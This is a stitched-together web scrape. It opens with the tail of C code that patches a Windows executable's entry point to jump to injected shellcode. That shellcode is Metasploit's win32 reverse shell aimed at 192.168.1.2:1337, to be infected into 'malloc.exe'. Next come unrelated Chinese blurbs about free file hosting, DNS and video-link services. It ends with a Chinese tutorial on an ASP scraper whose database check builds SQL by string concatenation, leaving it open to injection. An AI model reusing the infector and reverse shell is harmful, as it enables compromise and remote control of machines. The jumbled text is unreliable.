HANDLE hFile = CreateFile(szFileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
HANDLE hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
BYTE* pFileStart = (BYTE*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);

IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pFileStart;
IMAGE_FILE_HEADER* pFileHeader = (IMAGE_FILE_HEADER *)(pFileStart + pDosHeader->e_lfanew + 4);
IMAGE_OPTIONAL_HEADER* pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)(pFileStart + pDosHeader->e_lfanew + 24);
IMAGE_SECTION_HEADER* pSectionHeader = (IMAGE_SECTION_HEADER*)(pFileStart + pDosHeader->e_lfanew + 248);

nCodeSize += 12;

DWORD dwEntryPointRVA = pOptionalHeader->AddressOfEntryPoint;
DWORD dwEntryPointFileOffset = dwEntryPointRVA +(pSectionHeader[0].PointerToRawData)-(pSectionHeader[0].VirtualAddress);
DWORD dwCodePos = pSectionHeader[0].PointerToRawData + pSectionHeader[0].SizeOfRawData - nCodeSize;

BYTE jmp[7] = {0xE9,0x00,0x00,0x00,0x00,0x90,0x90};
*(DWORD*)(jmp + 1) = dwCodePos - dwEntryPointFileOffset - 5;
BYTE bjmp[5] = {0xE9};
*(DWORD*)(bjmp + 1) = (dwEntryPointFileOffset + 5) - ( dwCodePos + nCodeSize);

BYTE save[7];

for (int i = 0; i < 7; i++)
{
save[i] = pFileStart[dwEntryPointFileOffset+i];
}

for (int i = 0; i < 7; i++)
{
pFileStart[dwEntryPointFileOffset+i] = jmp[i];
}

for (int i = 0; i < (nCodeSize - 12); i++)
{
pFileStart[dwCodePos+i] = ShellCode[i];
}

int j = 0;

for (int i = (nCodeSize - 12);i < (nCodeSize - 5); i++)
{
pFileStart[dwCodePos+i] = save[j];
j++;
}

int k = 0;

for (int i = (nCodeSize - 5);i < nCodeSize; i++)
{
pFileStart[dwCodePos+i] = bjmp[k];
k++;
}
FlushViewOfFile(pFileStart,0);
UnmapViewOfFile(pFileStart);
CloseHandle(hMap);
CloseHandle(hMap);
}
int main(){
BYTE myshell[] =//* win32_reverse - EXITFUNC=thread LHOST=192.168.1.2 LPORT=1337 Size=312 Encoder=PexFnstenvSub http://metasploit.com */
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6e"
"\x67\x32\x0c\x83\xeb\xfc\xe2\xf4\x92\x0d\xd9\x41\x86\x9e\xcd\xf3"
"\x91\x07\xb9\x60\x4a\x43\xb9\x49\x52\xec\x4e\x09\x16\x66\xdd\x87"
"\x21\x7f\xb9\x53\x4e\x66\xd9\x45\xe5\x53\xb9\x0d\x80\x56\xf2\x95"
"\xc2\xe3\xf2\x78\x69\xa6\xf8\x01\x6f\xa5\xd9\xf8\x55\x33\x16\x24"
"\x1b\x82\xb9\x53\x4a\x66\xd9\x6a\xe5\x6b\x79\x87\x31\x7b\x33\xe7"
"\x6d\x4b\xb9\x85\x02\x43\x2e\x6d\xad\x56\xe9\x68\xe5\x24\x02\x87"
"\x2e\x6b\xb9\x7c\x72\xca\xb9\x4c\x66\x39\x5a\x82\x20\x69\xde\x5c"
"\x91\xb1\x54\x5f\x08\x0f\x01\x3e\x06\x10\x41\x3e\x31\x33\xcd\xdc"
"\x06\xac\xdf\xf0\x55\x37\xcd\xda\x31\xee\xd7\x6a\xef\x8a\x3a\x0e"
"\x3b\x0d\x30\xf3\xbe\x0f\xeb\x05\x9b\xca\x65\xf3\xb8\x34\x61\x5f"
"\x3d\x24\x61\x4f\x3d\x98\xe2\x64\xae\xcf\x33\x0e\x08\x0f\x37\x35"
"\x08\x34\xbb\xed\xfb\x0f\xde\xf5\xc4\x07\x65\xf3\xb8\x0d\x22\x5d"
"\x3b\x98\xe2\x6a\x04\x03\x54\x64\x0d\x0a\x58\x5c\x37\x4e\xfe\x85"
"\x89\x0d\x76\x85\x8c\x56\xf2\xff\xc4\xf2\xbb\xf1\x90\x25\x1f\xf2"
"\x2c\x4b\xbf\x76\x56\xcc\x99\xa7\x06\x15\xcc\xbf\x78\x98\x47\x24"
"\x91\xb1\x69\x5b\x3c\x36\x63\x5d\x04\x66\x63\x5d\x3b\x36\xcd\xdc"
"\x06\xca\xeb\x09\xa0\x34\xcd\xda\x04\x98\xcd\x3b\x91\xb7\x5a\xeb"
"\x17\xa1\x4b\xf3\x1b\x63\xcd\xda\x91\x10\xce\xf3\xbe\x0f\xdd\xc2"
"\x8e\x07\x61\xf3\xb8\x98\xe2\x0c";
InsertShellCode("malloc.exe",myshell,sizeof(myshell));
}

zSHARE分享空间——免费无限的上传空间



今天无意发现的。

Welcome to zSHARE Ad-Financed, File, Image and Video Hosting

With zSHARE you can upload files, images, videos, audio and flash for free. Simply use the upload form below and start sharing! You can also use zSHARE as your personal file storage: backup your data and protect your files. First Time? Read our

http://www.zshare.net/

易名中国免费智能DNS系统

http://www.iidns.com/

易名中国eName旗下网站

免费智能DNS系统

iiDNS建立于2006年3月份,是一款免费智能DNS产品。

iiDNS可以为同时有电信、网通、教育网服务器的网站

提供智能的解析,让电信用户访问电信的服务器,网通

的用户访问网通的服务器,达到互联互通的效果。

当然,不需要智能解析的普通用户也可以用我们的服务。

我们不限制用户的域名、记录数量,并且提供别的DNS

服务提供商没有提供的服务。

在线flv地址获取网站

可获取网页上播放的flash地址。

专业在线视频FLV地址解析

http://www.flvxz.com/

支持的URL示例
视频:http://www.youtube.com/watch?v=F3lSGDgfSdc
优酷网
视频:http://v.youku.com/v_show/id_cc00XNzQ3ODcyMA==.html
专辑:http://www.youku.com/playlist_show/id_1303041.html
土豆网
视频:http://www.tudou.com/programs/view/YDn_zTq_8gI/
豆单:http://www.tudou.com/playlist/id/608662/
给我留言 合作伙伴: FLV下载 无忧代理 无忧代理VPN服务 博客主机 苏州房屋出租

ASP网络采集程序源码

作者:李红
假如你想从网上自动采集数据,把它们写进本地数据库中,那就看看本文介绍的方法吧。笔者为了解决这个问题,花了三天的时间,终于大功告成,下面就是完整的ASP代码,能让你随心所欲地从网上采集数据入库,非常实用啊!

一、网站数据采集方法

目前网站数据采集方法主要有两种,一是使用现成的软件,二是自己编写采集程序。

1、使用现成的软件

很多软件(例如网络信息采集大师、BK通用信息采集系统等)都能采集网上数据,只要你到baidu、Google中,以“数据采集软件”为关键词搜一下,即可找到。如今这类软件数量繁多,都是别人用C、DEPHI或VB写成的,一般都提供了免费版让你下载试用。它们虽然也能采集网上数据,但是采集后的数据要么不能入库,要么只能入库前10条;如果你想突破这种限制,就必须花钱购买其正式版了。笔者试用了所有的数据采集软件,发现都是如此!

2、自己编写ASP采集程序

既然现成的软件不能免费使用,为了省钱,只能自己编写ASP网站数据采集程序了!下面就是该程序的代码,如果你想免费采集网站数据,运行之即可。

二、网站数据采集过程

编写ASP网站数据采集程序,首先需要抓取远程网页的源代码。微软serverXMLHTTP组件能帮你抓取远程页面的二进制代码,然后将该代码转换成字符,进行截取、替换处理,即可得到想要的数据;最后再将数据显示出来、或者写入数据库中,整个采集工作就完成了。

三、如何抓取远程网页?

抓取远程HTML的二进制代码主要语句如下:

Set Http = CreateObject("MSXML2.XMLHTTP") ’创建serverXMLHTTP组件

Http.open "GET",src_ ,false

Http.send() ’开始抓取

if Http.readystate<>4 then

exit sub

end if

value_ = Http.responseBody ’抓取到的网页二进制代码存放在value_中

下面我们写一个steal()子程序,只要你提供一个网址url,即可利用它抓取URL网页的二进制代码,存放在value_变量中。

public sub steal() ’窃取目标URL地址的HTML代码

if src_<>"" then ’src_=目标URL地址

dim Http

set Http=server.createobject("MSXML2.XMLHTTP") ’创建serverXMLHTTP组件

Http.open "GET",src_ ,false

Http.send()

if Http.readystate<>4 then ’判断是否准备好

exit sub

end if

value_= Http.responseBody ’抓取到网页

if len(value_)<100 then

response.write "获取远程文件 "&url&" 失败。"

response.end

end if

isGet_= True ’已抓取过标志isGet_

set http=nothing

if err.number<>0 then err.Clear

else

response.Write("")

end if

end sub

四、将网页二进制代码转换成字符

现在只要你提供一个远程网页URL,然后调用上面的steal(),即可抓到该网页(二进制代码形式);由于二进制代码无法显示,所以要显示抓到的网页、或者入库,还需要转换成字符,必须写一个转换函数BytesToBstr,将网页二进制代码转换成字符,代码如下:

private Function BytesToBstr(body,Cset) ’二进制转换成字符

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

五、抓取网页实例

现在我们能真枪实弹地抓一个网页了!例如要抓取六安信息港网页(http://market.ah163.net/city/AllDisplay.php?page=1&cityid=13),可以写一个2hand-cj.asp文件,在该文件中定义一个clsThief类,类中含有上面的子程序和函数,代码如下:



解释一下以上程序中几个关键的语句:

GetUrl=http://market.ah163.net/city/AllDisplay.php?page=1&cityid=13 ’要采集的网址

myThief.src=GetUrl ’网址赋予myThief.src

myThief.steal ’调用steal方法抓取远程网页,并将该网页二进制代码转换成字符

url_tittle=myThief.value ’抓取的网页存放在url_tittle中

Html=""&url_tittle&"" ’最后结果存放在Html中

Response.write Html ’使用response显示抓取的网页

运行上面的2hand-cj.asp可以成功地抓取网页,结果如下图1所示!

接下来对于抓取的网页,我们只想保留表格(如上图)、其他的数据全不要,该怎么办呢?这就需要对抓取的网页进行截取了!

六、对抓取的网页进行截取

首先写个截取子程序cutBy(head,headCusor,bot,botCusor),它可以按照你指定的首尾字符串、及位置偏移指针,对抓取的网页进行裁减。程序中参数head,headCusor,bot,botCusor分别是首字符串,首偏移值,尾字符串,尾偏移值;偏移值单位为字符数,向前偏移为负值,向后偏移为正值。

public sub cutBy(head,headCusor,bot,botCusor)

if isGet_= false then call steal()

On Error Resume Next

url=src_

value_=mid(value_ ,instr(value_ ,head)+len(head)+headCusor,instr(value_ ,bot)-1+botCusor-instr(value_ ,head)-len(head)-headcusor)

If Err.Number<>0 Then Response.Write "裁减"&url&" 失败。"

end sub

把以上cutBy子程序添加到clsThief类中,然后在2hand-cj.asp中增加如下调用:



再次执行2hand-cj.asp ,效果如下图2,只保留了表格,大功告成!

七、替换网页中的数据

检查一下抓取的表格中每个帖子网址,其格式均为InformationDisplay.php?id=,这样的网址是不正确的!应该替换成http://market.ah163.net/city/InformationDisplay_enter.php?id=才行,所以我们在clsThief类中再增加一个替换程序change(oldStr,str),用于替换网址,其中参数oldStr,str分别是旧字符串,新字符串。

public sub change(oldStr,str) ’对偷到的内容中的个别字符串用新值更换/方法

if isGet_= false then call steal()

value_=replace(value_ , oldStr,str)

end sub

同时在2hand-cj.asp中也增加如下调用:



执行2hand-cj.asp,表格中帖子的网址InformationDisplay.php?id=都会替换成http://market.ah163.net/city/InformationDisplay_enter.php?id=

这样帖子的网址都正确生成了。

八、截取帖子标题、网址等

现在我们需要截取每个帖子的标题、网址、方式、价格、时间(如上图2)这些数据,然后将之写入库中,为此,再写一个GetKey函数,负责截取这些数据,从Start开始截取,到Last截取结束

Function GetKey(HTML,Start,Last)

filearray=split(HTML,Start)

filearray2=split(filearray(1),Last)

GetKey=filearray2(0)

End Function

在抓到的网页代码中(下图3)我们发现,每个帖子的标题都位于和 之间,所以按照如下格式调用GetKey截取帖子的标题:

tittle=GetKey(HTML,""," "),其他数据的截取如法炮制,先确定截取的起始和结束标志,然后调用GetKey截取。

因此在2hand-cj.asp中增加如下语句:

’-----截取帖子标题

tittle=GetKey(HTML,""," ")

tittle=mid(tittle,6) ’去掉头部前6个非显示字符

’-----截取帖子网址

url=GetKey(HTML,"")

url=TRIM(url) ’去掉空格

’-----得到大类别和小类别

CateIDText=GetKey(HTML,"[","]") ’截取类别数据

CateIDText=TRIM(CateIDText)

select case CateIDText

case "交通" ’如果类别数据=交通

CateID=8 ’ 大类别CateID就等于8

SubCateID=1 ’ 小类别SubCateID就等于1

case "游戏"

CateID=1

SubCateID=26

case "电脑"

CateID=1

SubCateID=1

case "房产"

CateID=6

SubCateID=1

case "通讯"

CateID=2

SubCateID=1

case "宠物"

CateID=31

SubCateID=221

case "求职"

CateID=37

SubCateID=230

case "影音"

CateID=4

SubCateID=1

case "家用"

CateID=5

case "书籍"

SubCateID=1

CateID=17

case "其它"

CateID=0

SubCateID=1

end select

’-----取得方式

fangshi=GetKey(HTML,"","
")

fangshi=TRIM(right(fangshi,4))

select case fangshi

case "求购"

SoftType="买进"

case "出售"

SoftType="卖出"

end select

if instr(fangshi,""">")>0 then fangshi="其他" ’如果fangshi含有字符"> 则fangshi="其他"

’-----取得价格

jiage=GetKey(HTML,"","
")

jiage=TRIM(mid(jiage,44))

’-----取得帖子发布日期

DayDate=GetKey(HTML,"","
")

DayDate=right(DayDate,10)

’-----显示得到的帖子数据

Response.write tittle

Response.write url

Response.write fangshi

Response.write jiage

Response.write DayDate

九、帖子数据入库

最后要把帖子数据tittle、url、fangshi、jiage、DayDate写入#2hand.mdb库中,为防止帖子重复入库,需要写个testsj函数来判断某帖子是否已入库了,假如某帖子URL在库中找不到,则将该帖入库,否则就不予入库,代码如下:

’检测库中是否有某帖子的URL

Function testsj(titURL)

sql="select * from SoftDown_SoftInfo where url like ’%"&titURL&"%’ "

set rs=server.createobject("adodb.recordset")

rs.open sql,conn,1,1

if rs.bof and rs.eof then

testsj=True

ErrMsg=ErrMsg & "

你要找的帖子不存在,或者已经被管理员删除!"

else

testsj=false ’库中无该帖子的URL

end if

rs.close

set rs=nothing

End Function

接下来打开数据库语句如下:

db="#2hand.mdb"

Set conn = Server.CreateObject("ADODB.Connection")

connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

conn.Open connstr

’-----判断帖子是否已经入库?

FoundErr=False

FoundErr=testsj(url)

’-----帖子数据写入库中

if FoundErr=True then

set rs=server.createobject("adodb.recordset")

sql="select * from SoftDown_SoftInfo where (SoftID is null)"

rs.open sql,conn,1,3

if rs.bof and rs.eof then

ErrMsg=ErrMsg & "

你要找的帖子不存在,或者已经被管理员删除!"

else

ArticleTitle=rs("SoftName")

end if

rs.addnew

rs("SoftName")=tittle

rs("url")=url

rs("CateID")=CateID ’所属大类

rs("SubCateID")=SubCateID ’所属小类

rs("SoftType")=fangshi ’出售\买进\出租\求租等方式

rs("SoftSize")=jiage ’价格

rs("hfsj")=DayDate ’发布时间

rs.update

rs.close

set rs=nothing

Response.write " 该帖入库成功

"

end if

十、结束语

以上程序2hand-cj.asp在WinXP+IIS6环境下调试成功。只要你运行该程序,即可将网页http://market.ah163.net/city/AllDisplay.php?page=1&cityid=13中每个帖子的标题、网址、方式、价格、时间全部采集下来,写入到数据库#2hand.mdb中!

提示:2hand-cj.asp中并没有截取帖子的内容,只要你利用采集到的帖子网址,抓取对应的网页,然后再通过首尾标志即可截取帖子的内容,限于篇幅,这里就不展开介绍了!

另外,2hand-cj.asp中的取截取标志也都是常量,如果你把它们全部换成文本框变量、要抓取的网址也换成变量,2hand-cj.asp就会变成一个通用的网站数据采集软件,这些工作本文也不再讨论了,留给大家自己去修改扩展吧!

十一、附2hand-cj.asp程序全部清单

程序中使用的数据库#2hand.mdb请到我的小站http://www.labxw.com/2hand.zip下载。注意:测试程序时,请你先清空#2hand.mdb中数据;另外,帖子是不会重复入库的,即假如某帖子已经写入#2hand.mdb中了,再次执行2hand-cj.asp后,该帖子还是不会再写入#2hand.mdb中的!